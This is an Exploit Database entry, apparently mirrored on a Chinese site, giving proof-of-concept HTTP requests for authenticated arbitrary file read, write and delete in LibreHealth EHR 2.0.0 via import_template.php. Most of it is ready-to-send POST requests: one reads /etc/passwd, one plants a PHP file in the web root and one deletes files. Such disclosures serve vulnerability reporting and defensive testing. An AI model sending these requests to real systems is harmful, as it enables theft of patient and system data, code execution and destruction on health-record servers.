LibreHealth 2.0.0 – (Authenticated) Arbitrary File Actions

• Exploit Database
• 15 阅读

• 作者： Carlos Avila
  日期： 2018-11-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45802/

• # Exploit Title: LibreHealth 2.0.0 - Arbitrary File Actions 
  # Date: 2018-10-19
  # Exploit Author: Carlos Avila
  # Vendor Homepage: https://librehealth.io/
  # Software Link: https://github.com/LibreHealthIO/lh-ehr
  # Version: < 2.0.0
  # Tested on: Debian LAMP, LibreHealth 2.0.0
  
  # LibreHealth is the 'fork' of the OpenEMR project. I have executed these PoCs 
  # based on on Bug Reported by Joshua Fam [@Insecurity]
   
  # 1.Arbitrary File Read:
  # In LibreHealth a user that has access to the portal patient (authenticated) can send a 
  # malicious POST request to read arbitrary files.
   
  POST /patients/import_template.php HTTP/1.1
  Host: 192.168.6.200
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
  Connection: close
  Upgrade-Insecure-Requests: 1
  Content-Length: 60
  Content-Type: application/x-www-form-urlencoded
  
  mode=get&docid=/etc/passwd
   
  # This attack represents a file inclusion attack (LFI)
  # 2.Arbitrary File Write:
  # In LibreHealth a user that has access to the portal patient (authenticated) can send 
  # a malicious POST request to write arbitrary files.
  
  POST /patients/import_template.php HTTP/1.1
  Host: 192.168.6.200
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
  Connection: close
  Upgrade-Insecure-Requests: 1
  Content-Length: 60
  Content-Type: application/x-www-form-urlencoded
  
  mode=save&docid=payload.php&content=<?php phpinfo();?>
  
  # When you send the attack you can browse the website where the file was written and 
  # the payload.php at http://192.168.6.200/patients/payload.php
  # 3. Arbitrary File Delete:
  # In LibreHealth a user that has access to the portal patient (authenticated) can send a 
  # malicious POST request to delete a arbitrary file.
  
  POST /patients/import_template.php HTTP/1.1
  Host: 192.168.6.200
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
  Connection: close
  Upgrade-Insecure-Requests: 1
  Content-Length: 60
  Content-Type: application/x-www-form-urlencoded
   
  mode=delete&docid=payload.php
  
  # When you make the attack you can navigate on the deleted page and you should receive 404 error (page not found)